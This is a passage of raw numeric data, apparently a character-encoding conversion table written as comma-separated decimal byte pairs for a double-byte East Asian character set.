189,178,204,203,36,180,252,186,185,210,37,180,38,180,217,193,
39,180,40,180,162,190,169,182,0,0,186,210,0,0,41,180,
0,0,42,180,43,180,44,180,219,200,45,180,46,180,47,180,
0,0,187,210,48,180,188,210,49,180,189,210,0,0,50,180,
0,0,0,0,190,210,164,201,232,182,229,176,51,180,52,180,
53,180,191,198,191,210,189,189,54,180,233,192,0,0,193,210,
192,210,163,190,225,184,195,210,190,200,56,180,55,180,196,210,
0,0,0,0,0,0,220,200,180,194,238,194,168,182,0,0,
0,0,238,198,177,195,57,180,238,199,58,180,206,203,0,0,
198,210,0,0,234,192,59,180,0,0,60,180,0,0,61,180,
181,183,0,0,0,0,199,210,0,0,0,0,62,180,63,180,
200,210,172,177,245,176,237,180,64,180,168,194,209,181,241,205,
0,0,203,210,183,178,65,180,0,0,202,210,0,0,0,0,
66,180,170,182,0,0,0,0,204,210,67,180,241,204,0,0,
0,0,68,180,69,180,0,0,0,0,0,0,0,0,0,0,
70,180,0,0,0,0,0,0,0,0,71,180,72,180,0,0,
205,210,0,0,210,206,73,180,252,184,0,0,0,0,74,180,
0,0,182,184,206,210,75,180,0,0,0,0,76,180,208,210,
207,210,0,0,223,191,185,177,77,180,78,180,0,0,222,177,
209,210,79,180,210,210,0,0,80,180,183,184,81,180,82,180,
211,210,83,180,84,180,0,0,85,180,238,181,0,0,86,180,
0,0,0,0,87,180,0,0,178,187,212,210,0,0,88,180,
0,0,0,0,244,203,181,186,218,181,167,205,208,193,191,200,
253,188,89,180,0,0,0,0,90,180,91,180,199,189,92,180,
232,188,245,188,0,0,246,189,93,180,192,200,0,0,94,180,
95,180,215,210,96,180,195,177,209,193,253,184,197,184,231,182,
97,180,98,180,219,210,161,195,254,194,171,182,164,190,220,210,
218,210,196,178,230,194,184,188,203,187,166,177,0,0,99,180,
240,179,230,185,202,187,0,0,221,210,0,0,0,0,0,0,
0,0,0,0,0,0,222,210,100,180,201,181,198,179,0,0,
0,0,0,0,231,185,200,181,223,196,165,177,177,198,190,204,
161,185,249,205,199,197,254,184,0,0,101,180,0,0,0,0,
0,0,0,0,0,0,0,0,102,180,175,183,0,0,231,210,
0,0,227,182,202,203,103,180,0,0,0,0,0,0,0,0,
221,200,104,180,105,180,230,210,106,180,222,180,225,210,226,210,
228,210,107,180,0,0,108,180,0,0,0,0,109,180,110,180,
229,210,0,0,219,181,225,191,0,0,173,202,227,210,223,210,
227,184,0,0,224,210,0,0,164,207,111,180,112,180,0,0,
242,202,113,180,232,196,226,184,240,185,0,0,0,0,114,180,
232,210,115,180,0,0,221,198,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
116,180,236,210,0,0,0,0,117,180,0,0,118,180,0,0,
119,180,120,180,254,188,121,180,246,188,122,180,0,0,123,180,
124,180,0,0,239,210,237,210,0,0,163,204,125,180,234,210,
243,210,238,210,0,0,0,0,0,0,241,210,198,184,191,204,
0,0,126,180,242,210,33,181,0,0,34,181,244,210,35,181,
246,210,0,0,36,181,37,181,0,0,240,186,194,207,38,181,
235,210,233,210,245,210,39,181,240,210,0,0,0,0,40,181,
41,181,0,0,0,0,0,0,0,0,0,0,42,181,0,0,
0,0,43,181,0,0,44,181,248,210,0,0,163,211,250,210,
45,181,46,181,254,210,47,181,48,181,161,211,251,210,49,181,
50,181,190,211,0,0,51,181,233,186,177,179,0,0,0,0,
0,0,52,181,249,210,53,181,54,181,55,181,165,211,246,176,
164,211,56,181,165,176,202,201,162,211,0,0,252,210,0,0,
57,181,247,210,253,210,200,186,58,181,0,0,0,0,59,181,
60,181,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,166,211,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,61,181,247,176,175,211,0,0,0,0,167,211,
168,211,0,0,165,190,233,203,62,181,0,0,63,181,173,211,
172,211,64,181,0,0,0,0,175,197,0,0,0,0,0,0,
65,181,0,0,0,0,0,0,174,211,0,0,66,181,171,211,
67,181,68,181,69,181,70,181,0,0,0,0,180,177,71,181,
182,186,176,191,72,181,73,181,0,0,0,0,74,181,75,181,
76,181,169,211,226,197,0,0,0,0,0,0,170,211,77,181,
162,176,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,78,181,79,181,0,0,0,0,
180,211,163,205,0,0,167,190,80,181,186,211,0,0,81,181,
82,181,0,0,185,211,176,211,0,0,83,181,84,181,85,181,
195,194,0,0,177,211,86,181,0,0,0,0,239,194,182,211,
166,190,87,181,0,0,88,181,89,181,0,0,179,211,90,181,
0,0,228,204,91,181,92,181,0,0,188,183,0,0,0,0,
183,211,184,211,93,181,0,0,94,181,95,181,181,211,187,211,
96,181,0,0,97,181,98,181,0,0,178,211,99,181,0,0,
100,181,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,193,211,198,211,0,0,
194,211,101,181,189,211,102,181,103,181,199,211,177,193,0,0,
104,181,201,211,105,181,162,185,191,211,253,195,0,0,0,0,
106,181,107,181,0,0,108,181,109,181,110,181,111,181,0,0,
0,0,112,181,195,211,188,211,173,180,0,0,238,180,229,179,
196,211,192,211,0,0,0,0,0,0,113,181,114,181,0,0,
0,0,246,183,202,211,200,211,211,193,202,181,172,182,115,181,
197,211,0,0,244,182,0,0,116,181,0,0,0,0,0,0,
196,177,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,117,181,0,0,118,181,0,0,119,181,206,211,204,211,
120,181,167,212,0,0,121,181,0,0,122,181,123,181,0,0,
124,181,0,0,0,0,125,181,126,181,33,182,209,211,0,0,
0,0,34,182,35,182,0,0,203,211,36,182,207,211,0,0,
37,182,205,211,0,0,0,0,38,182,204,187,208,211,0,0,
0,0,0,0,0,0,39,182,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
40,182,211,211,0,0,216,211,0,0,0,0,0,0,214,211,
213,211,41,182,0,0,0,0,0,0,0,0,0,0,42,182,
178,195,0,0,43,182,197,178,44,182,0,0,0,0,45,182,
46,182,47,182,48,182,49,182,50,182,0,0,210,211,0,0,
212,211,168,190,179,177,51,182,0,0,215,211,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,222,178,0,0,0,0,52,182,0,0,
0,0,226,211,53,182,252,190,222,211,54,182,220,211,55,182,
221,211,56,182,223,211,57,182,0,0,58,182,59,182,60,182,
0,0,61,182,62,182,63,182,189,177,64,182,65,182,0,0,
66,182,0,0,0,0,67,182,0,0,68,182,185,193,69,182,
217,211,70,182,218,211,0,0,0,0,0,0,71,182,0,0,
0,0,0,0,0,0,0,0,0,0,250,179,0,0,0,0,
72,182,0,0,73,182,74,182,75,182,76,182,225,211,0,0,
77,182,0,0,239,180,78,182,228,211,224,211,227,211,79,182,
0,0,80,182,0,0,81,182,82,182,0,0,174,202,83,182,
0,0,0,0,213,198,0,0,184,200,0,0,0,0,0,0,
0,0,0,0,230,211,0,0,0,0,0,0,84,182,85,182,
229,211,197,179,86,182,0,0,231,211,87,182,88,182,0,0,
0,0,234,211,0,0,0,0,0,0,0,0,233,211,89,182,
0,0,0,0,0,0,90,182,91,182,0,0,0,0,92,182,
93,182,94,182,232,211,0,0,185,199,0,0,0,0,235,211,
95,182,96,182,97,182,98,182,0,0,99,182,100,182,101,182,
236,211,0,0,0,0,102,182,0,0,103,182,238,211,0,0,
237,211,104,182,0,0,0,0,0,0,0,0,240,211,0,0,
105,182,0,0,243,211,241,211,239,211,242,211,0,0,106,182,
0,0,0,0,244,211,107,182,108,182,109,182,112,182,113,182,
245,211,110,182,111,182,246,211,0,0,247,211,0,0,0,0,
0,0,248,211,197,209,114,182,252,188,205,187,115,182,116,182,
243,178,117,182,248,176,118,182,0,0,196,195,119,182,120,182,
121,182,122,182,123,182,0,0,0,0,125,182,0,0,126,182,
249,211,0,0,164,186,124,182,207,176,222,191,0,0,0,0,
33,183,34,183,0,0,250,211,199,184,0,0,0,0,241,185,
0,0,252,211,251,211,35,183,36,183,224,202,253,211,0,0,
0,0,37,183,161,212,254,211,38,183,162,212,39,183,163,212,
0,0,247,183,0,0,40,183,224,177,164,212,0,0,41,183,
166,212,0,0,165,212,0,0,42,183,43,183,168,212,44,183,
0,0,218,197,45,183,0,0,46,183,47,183,48,183,49,183,
169,212,181,176,223,186,50,183,51,183,0,0,52,183,189,183,
53,183,54,183,207,195,0,0,0,0,55,183,56,183,0,0,
0,0,170,212,171,212,0,0,0,0,173,212,0,0,57,183,
58,183,59,183,174,212,0,0,228,186,0,0,0,0,60,183,
61,183,209,182,0,0,0,0,183,203,0,0,62,183,63,183,
172,212,175,212,193,186,163,185,64,183,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,179,212,65,183,0,0,165,186,66,183,
179,195,67,183,68,183,176,212,218,196,69,183,0,0,70,183,
71,183,72,183,73,183,74,183,0,0,75,183,76,183,77,183,
0,0,78,183,0,0,79,183,80,183,81,183,82,183,0,0,
83,183,180,212,0,0,84,183,226,191,85,183,0,0,0,0,
0,0,0,0,178,212,181,212,0,0,191,183,86,183,0,0,
0,0,0,0,0,0,0,0,0,0,182,212,87,183,96,183,
0,0,88,183,0,0,89,183,90,183,0,0,91,183,92,183,
93,183,94,183,183,212,95,183,164,185,192,179,185,212,0,0,
0,0,97,183,98,183,99,183,186,212,0,0,100,183,0,0,
0,0,0,0,187,212,0,0,0,0,184,212,0,0,0,0,
0,0,0,0,101,183,0,0,0,0,0,0,0,0,102,183,
0,0,0,0,177,212,0,0,0,0,188,212,0,0,0,0,
189,212,103,183,104,183,0,0,0,0,228,203,105,183,0,0,
235,190,106,183,0,0,0,0,191,212,192,212,190,212,107,183,
194,212,0,0,0,0,0,0,0,0,0,0,184,199,108,183,
109,183,232,176,214,201,126,183,0,0,195,212,110,183,0,0,
111,183,112,183,0,0,113,183,0,0,0,0,0,0,114,183,
0,0,0,0,115,183,0,0,0,0,0,0,253,190,116,183,
117,183,185,188,118,183,221,199,240,180,0,0,235,186,119,183,
120,183,121,183,217,203,0,0,178,198,122,183,123,183,248,183,
207,194,0,0,124,183,125,183,193,212,196,212,33,184,34,184,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,196,194,
0,0,0,0,0,0,197,212,0,0,35,184,0,0,198,212,
36,184,37,184,38,184,200,212,0,0,0,0,233,196,0,0,
39,184,40,184,0,0,0,0,174,180,0,0,0,0,41,184,
0,0,161,244,225,177,243,202,42,184,0,0,236,190,200,197,
0,0,0,0,0,0,43,184,230,186,0,0,0,0,206,212,
0,0,44,184,189,202,221,206,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,45,184,244,178,202,212,46,184,47,184,
0,0,48,184,49,184,186,193,205,212,0,0,227,197,50,184,
0,0,201,197,228,197,185,200,205,196,0,0,0,0,0,0,
201,186,51,184,0,0,52,184,201,212,0,0,53,184,0,0,
0,0,54,184,55,184,246,177,0,0,182,197,0,0,0,0,
0,0,0,0,203,212,0,0,199,212,0,0,0,0,208,191,
0,0,0,0,56,184,207,212,0,0,0,0,57,184,0,0,
206,189,58,184,59,184,60,184,0,0,173,182,0,0,208,212,
0,0,61,184,62,184,63,184,64,184,0,0,65,184,66,184,
0,0,67,184,68,184,0,0,0,0,232,202,69,184,0,0,
70,184,253,193,0,0,0,0,0,0,0,0,198,196,71,184,
0,0,210,212,72,184,73,184,74,184,0,0,0,0,0,0,
75,184,0,0,207,203,76,184,0,0,211,212,0,0,0,0,
216,212,0,0,0,0,77,184,78,184,175,202,0,0,0,0,
0,0,0,0,215,212,209,212,212,212,214,212,80,184,0,0,
166,186,0,0,0,0,201,202,81,184,0,0,79,184,217,212,
0,0,197,195,82,184,0,0,245,178,0,0,237,190,83,184,
84,184,0,0,85,184,219,212,86,184,218,212,87,184,232,185,
88,184,220,212,222,212,221,212,89,184,0,0,224,212,90,184,
213,212,226,212,0,0,91,184,92,184,0,0,225,212,223,212,
0,0,0,0,0,0,93,184,0,0,206,187,209,191,0,0,
212,193,227,212,188,192,237,176,228,199,94,184,0,0,0,0,
0,0,219,196,0,0,229,212,228,212,230,212,231,212,232,212,
0,0,0,0,0,0,0,0,233,212,0,0,0,0,95,184,
96,184,0,0,0,0,209,202,234,212,97,184,98,184,0,0,
0,0,198,178,235,212,0,0,99,184,100,184,101,184,188,205,
176,179,0,0,201,210,200,189,191,194,236,212,235,204,103,184,
0,0,0,0,0,0,104,184,180,204,105,184,106,184,238,212,
0,0,231,194,107,184,183,197,192,194,215,201,239,212,240,212,
251,177,108,184,109,184,186,188,241,212,110,184,0,0,111,184,
112,184,208,176,242,212,0,0,0,0,0,0,0,0,0,0,
243,212,113,184,0,0,0,0,0,0,114,184,226,177,0,0,
115,184,241,180,224,198,244,202,0,0,0,0,0,0,0,0,
247,212,213,193,246,212,192,183,116,184,117,184,219,203,245,212,
0,0,229,197,249,212,118,184,248,212,119,184,0,0,120,184,
121,184,122,184,251,212,123,184,250,212,124,184,0,0,252,177,
0,0,252,212,169,190,254,212,165,195,125,184,253,212,126,184,
179,202,33,185,0,0,0,0,34,185,247,189,219,197,35,185,
36,185,0,0,161,213,37,185,0,0,38,185,39,185,165,185,
0,0,0,0,0,0,162,213,161,199,222,200,209,204,0,0,
0,0,0,0,0,0,0,0,165,199,40,185,41,185,171,213,
42,185,0,0,0,0,0,0,43,185,184,181,0,0,44,185,
197,205,45,185,0,0,175,204,0,0,172,214,0,0,163,213,
0,0,46,185,0,0,0,0,0,0,166,213,47,185,197,194,
0,0,48,185,184,203,0,0,0,0,0,0,202,197,49,185,
50,185,51,185,52,185,0,0,167,213,53,185,0,0,0,0,
0,0,54,185,0,0,229,203,55,185,202,186,56,185,0,0,
170,190,0,0,0,0,57,185,0,0,58,185,59,185,0,0,
168,213,0,0,60,185,208,187,61,185,207,187,0,0,62,185,
0,0,0,0,185,176,200,184,63,185,171,192,209,176,0,0,
0,0,0,0,0,0,172,213,173,213,0,0,170,213,64,185,
65,185,66,185,0,0,0,0,0,0,67,185,68,185,184,177,
175,180,69,185,169,213,0,0,197,204,177,201,0,0,0,0,
70,185,71,185,0,0,72,185,73,185,0,0,74,185,0,0,
168,176,75,185,0,0,0,0,0,0,249,176,0,0,0,0,
0,0,209,187,76,185,210,176,0,0,163,176,77,185,0,0,
0,0,0,0,0,0,178,213,0,0,0,0,78,185,79,185,
80,185,0,0,0,0,176,213,81,185,82,185,0,0,0,0,
0,0,0,0,188,204,0,0,179,213,0,0,177,213,0,0,
83,185,175,213,177,191,0,0,0,0,84,185,85,185,174,213,
0,0,86,185,87,185,218,202,88,185,0,0,0,0,89,185,
0,0,228,184,90,185,0,0,0,0,0,0,0,0,183,213,
184,213,0,0,0,0,0,0,0,0,0,0,171,190,0,0,
0,0,0,0,180,213,172,207,0,0,0,0,91,185,92,185,
204,199,93,185,94,185,182,213,0,0,0,0,95,185,0,0,
0,0,0,0,96,185,0,0,0,0,0,0,0,0,97,185,
0,0,0,0,0,0,0,0,167,186,0,0,0,0,0,0,
98,185,0,0,0,0,0,0,185,213,99,185,0,0,100,185,
216,201,101,185,0,0,0,0,186,213,0,0,181,213,102,185,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,103,185,0,0,0,0,104,185,105,185,0,0,0,0,
106,185,187,204,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,107,185,0,0,0,0,
0,0,0,0,108,185,0,0,222,199,109,185,0,0,0,0,
110,185,0,0,0,0,111,185,187,213,178,201,112,185,0,0,
113,185,114,185,115,185,0,0,116,185,0,0,0,0,0,0,
0,0,117,185,0,0,0,0,0,0,0,0,118,185,0,0,
0,0,0,0,0,0,119,185,120,185,121,185,0,0,122,185,
0,0,0,0,123,185,0,0,124,185,125,185,188,213,192,213,
189,213,126,185,0,0,199,178,191,213,0,0,33,186,0,0,
34,186,0,0,35,186,187,188,0,0,190,213,249,183,0,0,
0,0,36,186,204,213,0,0,0,0,0,0,0,0,0,0,
197,213,194,213,0,0,0,0,37,186,0,0,38,186,0,0,
0,0,0,0,39,186,228,195,0,0,193,213,0,0,40,186,
195,213,0,0,0,0,196,213,41,186,0,0,0,0,0,0,
42,186,0,0,0,0,0,0,0,0,0,0,0,0,43,186,
44,186,0,0,0,0,0,0,198,213,199,213,0,0,45,186,
0,0,0,0,46,186,47,186,0,0,0,0,0,0,0,0,
0,0,0,0,48,186,242,180,0,0,201,213,200,213,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
202,213,49,186,0,0,51,186,0,0,52,186,0,0,53,186,
0,0,0,0,0,0,54,186,238,190,0,0,0,0,55,186,
0,0,0,0,0,0,0,0,205,213,0,0,220,196,56,186,
0,0,0,0,197,177,0,0,203,213,0,0,50,186,0,0,
206,213,0,0,57,186,0,0,0,0,0,0,0,0,0,0,
207,213,0,0,210,213,58,186,0,0,208,213,0,0,209,213,
0,0,0,0,0,0,0,0,0,0,59,186,60,186,0,0,
0,0,0,0,210,187,211,213,61,186,0,0,166,185,212,213,
62,186,250,187,184,194,0,0,213,213,214,213,218,187,167,185,
63,186,210,204,0,0,0,0,0,0,168,181,201,184,215,213,
216,179,0,0,64,186,216,213,0,0,185,194,0,0,0,0,
65,186,66,186,217,213,163,214,0,0,218,213,0,0,219,213,
0,0,0,0,220,213,0,0,222,213,0,0,67,186,68,186,
69,186,70,186,223,213,71,186,0,0,224,213,72,186,240,194,
73,186,167,177,233,188,194,176,74,186,215,193,176,180,181,188,
75,186,168,185,76,186,77,186,0,0,78,186,79,186,230,197,
80,186,161,189,177,180,232,195,234,196,184,176,185,181,245,202,
0,0,194,188,0,0,0,0,210,181,235,192,188,188,168,205,
225,213,0,0,81,186,82,186,0,0,0,0,83,186,84,186,
220,181,85,186,203,186,86,186,87,186,178,179,227,177,172,190,
200,178,88,186,226,213,198,205,89,186,0,0,90,186,0,0,
0,0,201,189,91,186,92,186,228,188,227,213,243,180,210,198,
169,204,228,213,0,0,229,213,0,0,0,0,217,201,93,186,
0,0,94,186,231,213,0,0,168,180,247,182,230,213,0,0,
95,186,96,186,97,186,98,186,99,186,178,180,0,0,178,191,
235,213,161,187,100,186,201,178,234,213,0,0,232,213,236,213,
233,213,171,199,205,220,179,191,0,0,237,213,0,0,0,0,
192,206,101,186,238,213,102,186,0,0,240,213,103,186,254,195,
239,213,0,0,163,192,0,0,251,187,0,0,0,0,104,186,
208,194,247,188,0,0,245,201,236,192,0,0,205,188,241,213,
173,190,242,213,243,213,211,176,186,194,210,191,105,186,244,213,
179,198,174,190,0,0,175,190,0,0,245,213,0,0,0,0,
237,192,106,186,0,0,0,0,176,190,0,0,0,0,0,0,
107,186,108,186,246,213,0,0,247,213,109,186,224,204,0,0,
110,186,0,0,248,213,111,186,0,0,112,186,113,186,198,182,
114,186,0,0,115,186,162,189,116,186,0,0,0,0,117,186,
118,186,0,0,249,213,250,213,220,188,172,191,244,198,212,191,
248,200,162,199,201,182,251,213,0,0,0,0,0,0,239,181,
252,213,0,0,254,182,0,0,207,198,176,178,0,0,211,187,
253,213,162,214,161,214,253,182,0,0,254,213,0,0,184,197,
0,0,0,0,0,0,119,186,120,186,0,0,121,186,0,0,
176,194,0,0,203,197,200,188,122,186,123,186,216,193,250,205,
0,0,124,186,125,186,126,186,0,0,0,0,164,214,33,187,
165,214,214,198,34,187,179,187,0,0,0,0,35,187,36,187,
167,214,0,0,0,0,168,214,37,187,38,187,39,187,40,187,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,41,187,42,187,0,0,43,187,0,0,169,214,0,0,
0,0,44,187,244,180,170,214,45,187,0,0,171,214,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,46,187,
0,0,47,187,48,187,172,178,49,187,50,187,0,0,0,0,
51,187,0,0,187,193,228,180,52,187,173,214,168,204,0,0,
0,0,0,0,0,0,210,194,53,187,217,179,54,187,55,187,
175,214,177,214,223,180,0,0,56,187,174,214,176,214,0,0,
179,214,0,0,0,0,0,0,0,0,0,0,0,0,178,214,
0,0,180,214,0,0,57,187,0,0,58,187,0,0,0,0,
0,0,0,0,0,0,0,0,59,187,0,0,0,0,0,0,
0,0,61,187,0,0,181,214,0,0,0,0,0,0,60,187,
0,0,0,0,189,198,174,182,0,0,0,0,0,0,0,0,
0,0,0,0,229,178,182,214,187,214,0,0,0,0,185,214,
62,187,247,202,246,202,63,187,64,187,0,0,65,187,0,0,
231,197,0,0,0,0,0,0,184,214,212,189,0,0,183,214,
0,0,0,0,0,0,66,187,0,0,0,0,0,0,0,0,
67,187,242,191,0,0,0,0,0,0,188,214,0,0,68,187,
234,186,0,0,0,0,194,214,69,187,0,0,195,214,189,214,
179,179,190,214,199,214,198,214,197,214,193,214,0,0,0,0,
0,0,192,214,0,0,0,0,196,214,71,187,72,187,0,0,
73,187,74,187,0,0,248,202,0,0,70,187,0,0,0,0,
0,0,0,0,0,0,75,187,0,0,0,0,76,187,0,0,
0,0,0,0,0,0,77,187,0,0,0,0,0,0,78,187,
0,0,79,187,0,0,0,0,80,187,81,187,0,0,0,0,
82,187,0,0,83,187,0,0,87,187,203,214,200,214,0,0,
202,214,0,0,242,205,85,187,201,214,0,0,0,0,84,187,
0,0,0,0,0,0,86,187,0,0,0,0,191,214,0,0,
0,0,88,187,89,187,90,187,91,187,0,0,92,187,0,0,
0,0,0,0,0,0,243,191,93,187,0,0,204,214,94,187,
0,0,183,186,95,187,0,0,0,0,205,214,0,0,0,0,
206,214,0,0,0,0,96,187,97,187,0,0,0,0,0,0,
98,187,99,187,0,0,100,187,209,214,101,187,208,214,0,0,
0,0,207,214,102,187,0,0,103,187,232,197,186,214,0,0,
0,0,0,0,215,214,0,0,104,187,105,187,106,187,107,187,
0,0,0,0,0,0,108,187,0,0,109,187,0,0,211,214,
0,0,110,187,111,187,0,0,210,214,0,0,0,0,0,0,
0,0,112,187,0,0,0,0,0,0,113,187,212,214,0,0,
213,214,0,0,114,187,0,0,116,230,0,0,115,187,0,0,
0,0,216,214,116,187,117,187,230,206,0,0,217,214,214,214,
0,0,0,0,0,0,0,0,0,0,118,187,0,0,0,0,
0,0,119,187,0,0,218,214,0,0,120,187,224,180,219,214,
122,187,0,0,121,187,0,0,221,214,220,214,0,0,0,0,
222,214,0,0,123,187,124,187,0,0,223,214,0,0,238,192,
163,189,0,0,125,187,228,189,0,0,227,193,126,187,169,185,
184,186,170,185,240,181,33,188,0,0,224,214,0,0,0,0,
185,186,0,0,0,0,202,184,225,214,166,204,195,199,226,214,
0,0,171,185,34,188,35,188,0,0,172,180,0,0,167,195,
210,182,0,0,36,188,0,0,212,187,219,201,0,0,0,0,
193,200,37,188,0,0,0,0,0,0,227,214,245,180,38,188,
0,0,0,0,0,0,230,214,39,188,0,0,40,188,41,188,
161,196,0,0,42,188,229,214,228,214,231,214,0,0,235,196,
0,0,43,188,44,188,0,0,0,0,0,0,0,0,227,191,
0,0,0,0,46,188,0,0,0,0,213,187,0,0,202,192,
45,188,211,194,162,181,0,0,47,188,162,196,0,0,48,188,
232,214,233,214,239,190,0,0,0,0,0,0,0,0,185,203,
49,188,0,0,236,214,0,0,0,0,235,214,234,214,253,201,
0,0,243,214,0,0,52,188,0,0,50,188,218,203,0,0,
237,214,0,0,51,188,53,188,0,0,0,0,239,214,235,203,
54,188,238,214,55,188,0,0,0,0,56,188,57,188,0,0,
58,188,240,214,0,0,168,200,241,214,190,202,242,214,0,0,
0,0,0,0,59,188,0,0,60,188,61,188,62,188,63,188,
64,188,0,0,65,188,0,0,179,180,191,202,175,199,244,214,
245,214,0,0,172,185,180,180,246,214,184,184,196,205,169,205,
246,180,248,214,66,188,163,196,0,0,173,185,177,190,0,0,
0,0,223,200,0,0,0,0,178,190,67,188,0,0,0,0,
68,188,248,189,0,0,0,0,0,0,0,0,0,0,236,196,
249,202,185,197,0,0,0,0,174,185,0,0,220,201,0,0,
0,0,0,0,249,214,0,0,69,188,0,0,70,188,71,188,
217,197,194,186,72,188,0,0,73,188,203,184,74,188,237,196,
0,0,0,0,0,0,75,188,0,0,76,188,0,0,195,176,
238,189,175,185,199,205,0,0,0,0,0,0,0,0,77,188,
78,188,79,188,0,0,250,214,251,214,209,199,0,0,0,0,
80,188,0,0,252,214,247,206,173,207,82,188,81,188,0,0,
83,188,254,214,253,214,84,188,85,188,199,179,86,188,87,188,
161,215,0,0,0,0,0,0,164,215,165,215,88,188,163,215,
89,188,192,201,179,190,167,215,166,215,162,215,0,0,90,188,
0,0,0,0,168,215,169,215,0,0,91,188,170,215,0,0,
0,0,0,0,173,215,171,215,0,0,172,215,174,215,0,0,
228,177,238,196,175,215,0,0,250,183,246,178,182,199,0,0,
176,215,251,198,0,0,219,202,92,188,177,215,174,207,0,0,
93,188,94,188,95,188,178,215,192,202,181,215,161,208,177,208,
96,188,176,188,245,198,182,215,0,0,221,181,164,196,250,176,
183,215,166,202,176,185,97,188,0,0,208,195,98,188,99,188,
0,0,239,196,0,0,100,188,101,188,102,188,103,188,239,204,
185,184,204,184,104,188,184,215,0,0,105,188,106,188,185,215,
107,188,191,215,108,188,229,188,0,0,0,0,109,188,165,196,
110,188,175,182,186,215,0,0,0,0,111,188,171,201,112,188,
198,195,113,188,114,188,187,215,0,0,0,0,115,188,116,188,
0,0,117,188,188,215,0,0,176,182,0,0,189,215,118,188,
190,215,0,0,119,188,192,215,0,0,246,197,120,188,0,0,
193,215,194,215,121,188,195,215,0,0,122,188,180,215,179,215,
0,0,0,0,123,188,196,215,193,183,124,188,125,188,0,0,
167,201,126,188,0,0,204,186,183,201,166,196,203,201,197,215,
0,0,33,189,180,190,198,177,34,189,198,215,35,189,36,189,
0,0,199,215,37,189,242,204,38,189,0,0,224,200,39,189,
40,189,202,215,253,177,172,192,201,215,200,215,194,183,212,194,
0,0,206,215,204,215,41,189,203,215,167,206,229,184,42,189,
0,0,43,189,249,189,205,215,204,197,190,189,0,0,0,0,
44,189,192,198,209,215,208,215,0,0,0,0,45,189,46,189,
207,215,0,0,210,215,230,184,47,189,0,0,50,189,0,0,
0,0,48,189,211,215,252,201,219,189,49,189,51,189,212,215,
249,200,52,189,53,189,54,189,0,0,193,198,167,196,0,0,
0,0,0,0,55,189,176,197,0,0,0,0,213,215,171,181,
0,0,0,0,0,0,0,0,0,0,180,191,56,189,172,201,
0,0,57,189,58,189,59,189,0,0,60,189,247,180,166,199,
0,0,0,0,61,189,62,189,63,189,64,189,65,189,0,0,
214,215,214,187,186,203,187,203,0,0,0,0,254,177,219,215,
66,189,0,0,233,195,67,189,68,189,0,0,216,215,0,0,
0,0,0,0,69,189,70,189,71,189,247,178,72,189,73,189,
74,189,75,189,173,216,218,215,76,189,77,189,0,0,176,199,
78,189,0,0,217,215,0,0,79,189,215,215,80,189,250,185,
0,0,221,215,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,81,189,0,0,0,0,82,189,0,0,0,0,83,189,
227,215,233,215,225,215,0,0,220,197,84,189,85,189,230,215,
221,201,86,189,87,189,224,215,88,189,229,215,231,206,215,187,
0,0,89,189,213,194,222,215,0,0,0,0,90,189,222,181,
232,215,173,192,229,177,226,215,248,178,231,215,0,0,91,189,
0,0,177,182,0,0,228,215,0,0,92,189,0,0,93,189,
0,0,0,0,0,0,0,0,234,215,0,0,0,0,0,0,
0,0,0,0,94,189,236,215,246,215,244,215,0,0,0,0,
241,215,95,189,96,189,97,189,240,215,248,206,98,189,242,215,
0,0,0,0,178,182,99,189,177,185,0,0,100,189,250,189,
101,189,102,189,0,0,249,215,235,215,0,0,0,0,103,189,
0,0,239,215,223,215,104,189,250,178,243,215,245,215,209,195,
0,0,105,189,168,186,184,178,237,215,248,215,247,215,179,182,
0,0,169,194,230,179,106,189,0,0,0,0,0,0,195,183,
0,0,238,215,0,0,0,0,0,0,0,0,0,0,0,0,
107,189,108,189,0,0,250,215,109,189,253,215,161,216,0,0,
110,189,0,0,111,189,189,188,112,189,167,216,240,196,251,215,
113,189,0,0,0,0,114,189,165,216,115,189,249,178,116,189,
163,216,164,216,117,189,0,0,254,215,162,216,0,0,118,189,
119,189,231,184,170,205,0,0,120,189,181,180,121,189,122,189,
217,177,166,216,123,189,186,199,173,176,0,0,0,0,0,0,
0,0,0,0,124,189,125,189,225,200,220,215,172,216,176,216,
229,204,126,189,169,216,0,0,0,0,33,190,233,197,174,216,
34,190,0,0,0,0,0,0,35,190,0,0,36,190,240,190,
175,216,215,198,37,190,38,190,39,190,40,190,0,0,0,0,
41,190,42,190,0,0,199,207,0,0,171,216,43,190,44,190,
0,0,0,0,177,216,45,190,251,185,46,190,203,192,47,190,
48,190,212,176,170,216,168,216,49,190,218,193,0,0,50,190,
0,0,252,215,180,187,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,198,194,189,216,51,190,219,193,184,216,52,190,
181,216,182,216,53,190,230,188,185,216,188,216,54,190,55,190,
0,0,0,0,183,216,165,189,56,190,186,216,0,0,0,0,
180,216,57,190,252,204,251,204,58,190,0,0,59,190,190,216,
191,216,213,176,60,190,61,190,62,190,63,190,64,190,179,216,
65,190,66,190,0,0,67,190,242,182,166,176,68,190,0,0,
69,190,182,180,0,0,187,216,70,190,0,0,0,0,0,0,
0,0,195,216,194,216,0,0,71,190,72,190,199,216,0,0,
0,0,0,0,73,190,74,190,0,0,0,0,200,216,75,190,
76,190,77,190,0,0,78,190,0,0,0,0,198,216,201,216,
193,216,197,216,0,0,79,190,202,216,0,0,203,216,80,190,
